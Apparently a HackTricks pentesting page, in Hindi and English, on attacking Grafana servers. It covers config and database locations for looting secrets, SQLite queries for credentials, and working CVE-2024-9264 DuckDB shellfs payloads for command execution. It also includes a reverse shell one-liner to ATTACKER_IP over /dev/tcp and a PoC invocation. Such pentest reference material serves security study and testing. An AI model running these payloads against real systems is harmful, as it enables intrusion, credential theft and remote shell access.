Grafana

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

दिलचस्प बातें

  • मुख्य कॉन्फ़िग अक्सर /etc/grafana/grafana.ini (Deb/RPM) में होता है और इसमें संवेदनशील मान हो सकते हैं जैसे admin_user, admin_password, secret_key, OAuth settings, SMTP creds, और renderer tokens.
  • डिफ़ॉल्ट रूप से Grafana डेटा SQLite3 में /var/lib/grafana/grafana.db के तहत स्टोर करता है.
  • होस्ट एक्सेस के बाद provisioning फ़ाइलें बहुत उपयोगी होती हैं:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • provisioning फ़ाइलों में environment-variable expansion सपोर्टेड है, इसलिए leaked YAML अक्सर दोनों secrets और उनके पीछे वाले env var नाम उजागर करता है.
  • Installed plugins आमतौर पर /var/lib/grafana/plugins के अंतर्गत पाए जाते हैं.
  • प्लेटफ़ॉर्म के अंदर भूमिका के अनुसार आप invite people, generate API keys / service account tokens, list plugins, या install new plugins कर सकते हैं.
  • ब्राउज़र भी लूट है: Grafana गैर‑गुप्त datasource config को frontend पर एक्सपोज़ करता है. अगर आपके पास Viewer session है (या anonymous access सक्षम है), तो DevTools से window.grafanaBootData को inspect करें.

उपयोगी SQLite जांचें:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

डेटासोर्स और सीक्रेट्स की लूट

Grafana ब्राउज़र-रीडेबल कॉन्फ़िगरेशन को एन्क्रिप्टेड सीक्रेट्स से अलग करता है:

  • jsonData ब्राउज़र में उपयोगकर्ताओं को दिखाई देता है और अक्सर आंतरिक होस्ट, टेनेंट्स, auth modes, हेडर नाम, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs और इसी तरह के recon डेटा को सूचीबद्ध करने के लिए पर्याप्त होता है।
  • secureJsonData सर्वर-साइड पर एन्क्रिप्ट होता है और datasource सेव होने के बाद ब्राउज़र से अब पढ़ा नहीं जा सकता।

Post-exploitation workflow:

  1. Dump grafana.ini और recover secret_key.
  2. Loot grafana.db और provisioning फाइलें।
  3. डेटासोर्स और प्लगइन कॉन्फ़िगरेशन को सूचीबद्ध करें ताकि पुन: उपयोग योग्य क्रेडेंशियल्स और आंतरिक एंडपॉइंट्स मिल सकें।
  4. यदि डेटाबेस को किसी अन्य Grafana इंस्टेंस में माइग्रेट या रिप्ले कर रहे हैं, तो वही secret_key रखें, अन्यथा स्टोर किए गए datasource पासवर्ड/टोकन सही तरीके से डिक्रिप्ट नहीं होंगे।

Why secret_key matters in newer versions:

  • Grafana v9 से, डेटाबेस सीक्रेट्स envelope encryption का उपयोग करते हैं।
  • Grafana सीक्रेट्स को data encryption keys (DEKs) से एन्क्रिप्ट करता है, और उन DEKs को उसी secret_key से व्युत्पन्न key encryption key (KEK) से एन्क्रिप्ट किया जाता है।
  • हमलावर के नजरिए से, grafana.db + secret_key वह जोड़ी है जिसे चोरी करना मायने रखता है।

प्लगइन अटैक सतह

प्लगइन्स को लक्ष्य का हिस्सा मानें, न कि सिर्फ़ एक फुटनोट:

  • फ़ाइल सिस्टम, UI, या API से इन्हें सूचीबद्ध करें:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • पुराने या थर्ड‑पार्टी प्लगइन्स अक्सर Grafana की पहुँच को आंतरिक नेटवर्क तक बढ़ा देते हैं क्योंकि वे HTTP अनुरोधों को प्रॉक्सी करते हैं या स्थानीय फ़ाइलों/डेटाबेस के साथ इंटरैक्ट करते हैं।
  • हालिया उदाहरणों में Infinity प्लगइन (< 3.4.1) में SSRF और ऐसे दुरुपयोग रास्ते शामिल हैं जहाँ Image Renderer प्लगइन किसी अन्य बग को full-read SSRF में बदल देता है।

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) प्रमाणीकरण के बाद RCE / LFI

Grafana का प्रयोगात्मक SQL Expressions फीचर उन DuckDB क्वेरीज का मूल्यांकन कर सकता है जो यूज़र-नियंत्रित टेक्स्ट एम्बेड करती हैं। अपर्याप्त सैनीटाइज़ेशन अटैकर्स को DuckDB स्टेटमेंट्स को चेन करने और community extension shellfs को लोड करने की इजाज़त देता है, जो पाइप‑बैक्ड वर्चुअल फ़ाइलों के माध्यम से shell कमांड्स को एक्सपोज़ करता है।

Impact

  • किसी भी प्रमाणीकरण प्राप्त उपयोगकर्ता जिसके पास VIEWER या उससे ऊपर की भूमिका हो, वे Grafana OS उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त कर सकते हैं (अक्सर grafana; कभी‑कभी कंटेनर के अंदर root) या स्थानीय फ़ाइलें पढ़ सकते हैं।
  • वास्तविक डिप्लॉयमेंट्स में आमतौर पर पूरी होने वाली पूर्व‑शर्तें:
  • SQL Expressions सक्षम होना: expressions.enabled = true
  • सर्वर पर PATH में duckdb बाइनरी मौजूद होना

Quick checks

  • UI/API में, Admin सेटिंग्स ब्राउज़ करें (Swagger: /swagger-ui, endpoint /api/admin/settings) और पुष्टि करें:
  • expressions.enabled true होना चाहिए
  • वैकल्पिक: संस्करण, datasource प्रकार, और सामान्य हार्डनिंग सेटिंग्स
  • होस्ट पर शेल: which duckdb नीचे दिए गए exploit path के लिए resolve होना चाहिए।

Manual query pattern using DuckDB + shellfs

  • Abuse flow (2 queries):
  1. shellfs extension इंस्टॉल और लोड करें, एक कमांड चलाएँ, पाइप के माध्यम से सम्मिलित आउटपुट को एक temp फ़ाइल में रीडायरेक्ट करें
  2. read_blob का उपयोग करके temp फ़ाइल को वापस पढ़ें

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

CMD को अपनी इच्छित कमांड से बदलें। file-read (LFI) के लिए आप स्थानीय फाइलें पढ़ने के लिए DuckDB file functions का उपयोग कर सकते हैं।

One-liner reverse shell का उदाहरण

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

जब आपके पास listener हो तब पहले query में इसे CMD के रूप में embed करें: nc -lnvp 443.

स्वचालित PoC

उपयोग का उदाहरण

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

यदि आउटपुट में uid=0(root) दिखाई दे रहा है, तो Grafana root के रूप में चल रहा है (कुछ कंटेनरों के भीतर सामान्य)।

2025 client-side traversal / open redirect chain

The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. उन तकनीकों का उपयोग Grafana-specific paths पर करें, जैसे plugin assets, dashboard script loaders, और token-rotation redirects:

Client Side Path Traversal

Open Redirect

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें